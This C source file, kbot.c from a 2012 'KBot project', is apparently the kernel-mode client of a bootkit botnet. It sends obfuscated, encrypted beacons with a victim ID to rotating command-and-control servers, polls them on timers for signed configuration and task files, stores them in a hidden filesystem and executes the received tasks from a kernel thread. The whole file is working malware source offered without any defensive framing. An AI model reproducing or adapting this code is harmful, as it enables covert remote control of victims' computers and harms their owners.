//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// KBot project.
//	
// module: kbot.c
// $Revision: 32 $
// $Date: 2012-07-04 15:11:26 +0400 (Ср, 04 июл 2012) $
// description: 
//	Kernel-mode client program.
//	Connects over the KIP to one of the specified C&C servers and receives specially formed configuration files and commands.

#include <Ntifs.h>
#include <ntddk.h>
#include <ntimage.h>
#define NTSTRSAFE_NO_DEPRECATE
#include <ntstrsafe.h>

#include "version.h"
#include "ntddkex.h"
#include "kdbg.h"
#include "bklib.h"

#include "..\bkdrv\bkdrv.h"
#include "..\bklib\fssup.h"
#include "..\fslib\vfat.h"
#include "..\fslib\fslib.h"

#include "inaddr.h"
#include "..\inc\kipapi.h"
#include "..\khttp\khttp.h"

#include "..\kiplib\kstream.h"
#include "..\crypto\crypto.h"

#include "joiner.h"
#include "kbot.h"
#include "kbotinc.h"

KEVENT			g_KBotShutdownEvent = {0};
PCHAR			g_KbotPublicKey = NULL;
PCHAR			g_KbotUserAgent = NULL;

PVOID	KBotAlloc(ULONG	Size)
{
	return(MyAllocatePool(PagedPool, Size));
}

VOID	KBotFree(PVOID	Mem)
{
	MyFreePool(Mem);
}

// ---- Following routines are used by CRYPTO library ---------------------------------------------------------------------

ULONG	__stdcall AppRand(VOID)
{
	LARGE_INTEGER TickCount;
	KeQueryTickCount(&TickCount);
	return(TickCount.LowPart);
}
// --------------------------------------------------------------------------------------------------------------------------



ULONG	KBotSelectHost(ULONG OldIndex)
{
	if (OldIndex == g_KBotConfig->HostIndex)
	{
		g_KBotConfig->HostIndex += 1;
		if (g_KBotConfig->HostIndex == g_KBotConfig->HostCount)
			g_KBotConfig->HostIndex = 0;
	}
	return(g_KBotConfig->HostIndex);
}

NTSTATUS KBotCommonRequest(
	PCHAR	ScriptUri,	// Target script name template
	PCHAR	Method,		// HTTP Method
	PCHAR*	pBuffer,	// Pointer to a variable that receives pointer to a buffer with data
	PULONG	pSize,		// Pointer to a variable that receives size of the buffer
	ULONG	Crc			// CRC parameter of the request
	)
{
	NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
	ULONG	bSize, HostIndex = KBotSelectHost(INVALID_INDEX);
	PCHAR	RequestStr, ParamStr, Uri, Buffer, ScriptName;
	PGUID_EX	Id;
	
	Id = (PGUID_EX)&g_KBotUserId.Id;

	if (ParamStr = KBotAlloc(PAGE_SIZE))
	{
		if (Crc == 0)
			Crc = RsaRandom(AppRand());

		bSize = sprintf(ParamStr, szRequestFmt, KBOT_VERSION, Id->Part0, Id->Part1, Id->Part2, Id->Part3, 
			g_KBotConfig->ServerId, g_KBotConfig->GroupId, Crc);

		ASSERT(bSize < PAGE_SIZE);

#ifdef _ENCRYPT_REQUEST_URI
		if (ScriptName = GenScriptLine(ScriptUri))
		{
			if (RequestStr = ObfuscateParamStr(ParamStr, (PRC6_KEY)g_KBotConfig->pKey))
			{
				strtrim(RequestStr, "\r\n");
#else
				ScriptName = ScriptUri;
				RequestStr = ParamStr;
#endif
				if (Uri = KBotAlloc(strlen(RequestStr) + strlen(ScriptName) + 1))
				{	
					strcpy(Uri, ScriptName);
					strcat(Uri, RequestStr);

					ntStatus = KBotRequest(g_KBotConfig->HostArray[HostIndex], Uri, Method, pBuffer, pSize);
					if (!NT_SUCCESS(ntStatus))
					{
						ULONG	NewIndex = KBotSelectHost(HostIndex);
						if (HostIndex != NewIndex)
							ntStatus = KBotRequest(g_KBotConfig->HostArray[NewIndex], Uri, Method, pBuffer, pSize);
					}
					KBotFree(Uri);
				}	// if (pUri = KBotAlloc(bSize + strlen(ScriptName) + 1))
#ifdef _ENCRYPT_REQUEST_URI
				AppFree(RequestStr);
			}
			AppFree(ScriptName);
		}
#endif
		KBotFree(ParamStr);
	}	// if (ParamStr = KBotAlloc(PAGE_SIZE))

	return(ntStatus);
}


//
//	Requests a file using the specified script URI.
//	Verifies the file digital signture.
//
static NTSTATUS KBotRequestAndCheckFile(
	PCHAR	ScriptUri,	// Target script name template
	PCHAR*	pBuffer,	// Pointer to a variable that receives pointer to a buffer with file data
	PULONG	pSize,		// Pointer to a variable that receives size of the file buffer
	ULONG	Crc,		// CRC parameter of the request
	BOOL	bUnsign		// Specify TRUE if the unsigned data should be returned, otherwise returns original data
	)
{
	NTSTATUS	ntStatus = STATUS_SUCCESS;
	PCHAR		Buffer;
	ULONG		Size = 0;

	if (NT_SUCCESS(ntStatus = KBotCommonRequest(ScriptUri, szGet, &Buffer, &Size, Crc)))
	{
#ifdef	_USE_DIGITAL_SIGNATURE
		if (Size)
		{
			PCHAR	uBuffer;
			ULONG	uSize;
			// Try to check the received file digital signature.
			// Return STATUS_SYSTEM_IMAGE_BAD_SIGNATURE if we have no valid public key or the file is not properly signed.
			if (!g_KbotPublicKey || !(uSize = DsUnsign(Buffer, Size, &uBuffer, g_KbotPublicKey)))
			{
				// Signature verification failed
				ntStatus = STATUS_SYSTEM_IMAGE_BAD_SIGNATURE;
				KBotFree(Buffer);
			}
			else
			{
				if (bUnsign)
				{
					KBotFree(Buffer);
					Buffer = uBuffer;
					Size = uSize;
				}
			}
		}	// if (Size)
#endif
		*pBuffer = Buffer;
		*pSize = Size;
	}	// if (NT_SUCCESS(ntStatus = KBotCommonRequest(ScriptUri, szGet, &Buffer, &Size, Crc)))

	return(ntStatus);
}



//
//	Thread function.
//	Requests config and task by a timer in a loop.
//
VOID	KBotMainThread(PVOID Context)
{
	KTIMER	ConfigTimer;
	KTIMER	TaskTimer;
	PVOID	WaitObjects[3] = {&g_KBotShutdownEvent, &ConfigTimer, &TaskTimer};
	NTSTATUS	ntStatus;
	LARGE_INTEGER	Period;
	ANSI_STRING		aConfigName = RTL_CONSTANT_STRING(szKBotConfigFileName);

	ENTER_WORKER();

	KdPrint(("KBOT: main thread started.\n"));

	KeInitializeTimer(&ConfigTimer);
	KeInitializeTimer(&TaskTimer);

	Period.QuadPart = _RELATIVE(_MILLISECONDS(KBOT_WAIT_BEFORE_START));
	KeSetTimer(&ConfigTimer, Period, NULL);
	KeSetTimer(&TaskTimer, Period, NULL);

	do	// main loop
	{
		PCHAR	Buffer = NULL;
		ULONG	bSize = 0;

		ntStatus = KeWaitForMultipleObjects(3, (PVOID*)&WaitObjects, WaitAny, Executive, KernelMode, FALSE, NULL, NULL);

		if (ntStatus < STATUS_WAIT_1 || ntStatus > STATUS_WAIT_2)
			// g_KBotShutdownEvent signaled or any error occured, exiting
			break;

		if (ntStatus == STATUS_WAIT_1)
		{
			// Config timer expired
			ULONG ConfigCRC = g_KBotConfig->ConfigCRC;

			if (ConfigCRC == 0)
				ConfigCRC = AppRand();

			// Requesting a config
			if (NT_SUCCESS(ntStatus = KBotRequestAndCheckFile(szConfigUri, &Buffer, &bSize, ConfigCRC, FALSE)))
			{
				if (bSize)
				{
					// Config file received
					KdPrint(("KBOT: config file of %u bytes received\n", bSize));
					if (NT_SUCCESS(FsSaveFile(&aConfigName, Buffer, bSize)))
						KBotLoadConfig();
					KBotFree(Buffer);
				}
				Period.QuadPart = _RELATIVE(_SECONDS(g_KBotConfig->ConfigPeriod));
			}
			else
			{
				KdPrint(("KBOT: Config request failed with status 0x%X\n", ntStatus));
				Period.QuadPart = _RELATIVE(_SECONDS(g_KBotConfig->MinimumPeriod));
			}

			KeSetTimer(&ConfigTimer, Period, NULL);
		}
		else if (ntStatus == STATUS_WAIT_2)
		{
			// Task timer expired
			if (NT_SUCCESS(ntStatus = KBotRequestAndCheckFile(szTaskUri, &Buffer, &bSize, AppRand(), TRUE)))
			{
				if (bSize)
				{
					// Task file received
					KdPrint(("KBOT: task file of %u bytes received\n", bSize));
					ProcessTaskFile(Buffer, bSize, FALSE);
					KBotFree(Buffer);
				}
				Period.QuadPart = _RELATIVE(_SECONDS(g_KBotConfig->TaskPeriod));
			}
			else
			{
				KdPrint(("KBOT: Task request failed with status 0x%X\n", ntStatus)); 
				Period.QuadPart = _RELATIVE(_SECONDS(g_KBotConfig->MinimumPeriod));
			}

			KeSetTimer(&TaskTimer, Period, NULL);
		}

	} while(TRUE);

	LEAVE_WORKER();

	UNREFERENCED_PARAMETER(Context);
}

//
//	Initializes KBOT user-agent string used in HTTP requests.
//	This string contains machine architecture, OS version and default browser.
//
BOOL KBotInitUserAgent(VOID)
{
	BOOL	Ret = FALSE;
	ULONG	i, OsMajorVersion, OsMinorVersion, OsBuildNumber;
	PCHAR	pArch = "";

	if (g_KbotUserAgent = KBotAlloc(cstrlenA(szUserAgentFmt) + cstrlenA(szX64) + 8))
	{
		PsGetVersion(&OsMajorVersion, &OsMinorVersion, &OsBuildNumber, NULL);
#ifdef _WIN64
		pArch = szX64;
#endif
		i = sprintf(g_KbotUserAgent, szUserAgentFmt, OsMajorVersion, OsMinorVersion, pArch);
		ASSERT(i < (cstrlenA(szUserAgentFmt) + cstrlenA(szX64) + 8));

		Ret = TRUE;
	}
	return(Ret);
}



// ---- Startup and clenup ---------------------------------------------------------------------------------------------------

VOID		KBotCleanup(VOID)
{
	// Check if g_KBotShutdownEvent initialized...
	if (g_KBotShutdownEvent.Header.Type)
		// ...then set it to notify all workers
		KeSetEvent(&g_KBotShutdownEvent, IO_NO_INCREMENT, FALSE);

	if (g_KbotPublicKey)
		AppFree(g_KbotPublicKey);

	if (g_KbotUserAgent)
		KBotFree(g_KbotUserAgent);
}


NTSTATUS	KBotStartup(VOID)
{
	NTSTATUS	ntStatus = STATUS_INSUFFICIENT_RESOURCES;
	HANDLE		hThread;
	ULONG		Size;
	OBJECT_ATTRIBUTES	oa = {0};

	KdPrint(("KBOT version 1.0 started.\n"));

	do	// not a loop
	{
		if (!KBotInitUserAgent())
			break;

		// Initializing HTTP client
		if (!KHttpInit(&KBotAlloc, &KBotFree))
			break;
	
		// Initializing g_KBotShutdownEvent
		KeInitializeEvent(&g_KBotShutdownEvent, NotificationEvent, FALSE);

		if (!GetJoinedData((PIMAGE_DOS_HEADER)BkImageBase, &g_KbotPublicKey, &Size, FALSE, CRC_PUBLIC_KEY, 0))
			g_KbotPublicKey = NULL;

		// Loading or creating user ID
		KBotGetUserId();

		// Loading or initializing config
		if (!(NT_SUCCESS(ntStatus = KBotLoadConfig())))
			break;

		// Initializing and starting client main thread
		InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
		ntStatus = PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, &KBotMainThread, NULL);

		if (NT_SUCCESS(ntStatus))
			ZwClose(hThread);
		
	} while(FALSE);

	KdPrint(("KBOT: startup complete with status 0x%X\n", ntStatus));

	if (!(NT_SUCCESS(ntStatus)))
		KBotCleanup();

	return(ntStatus);
}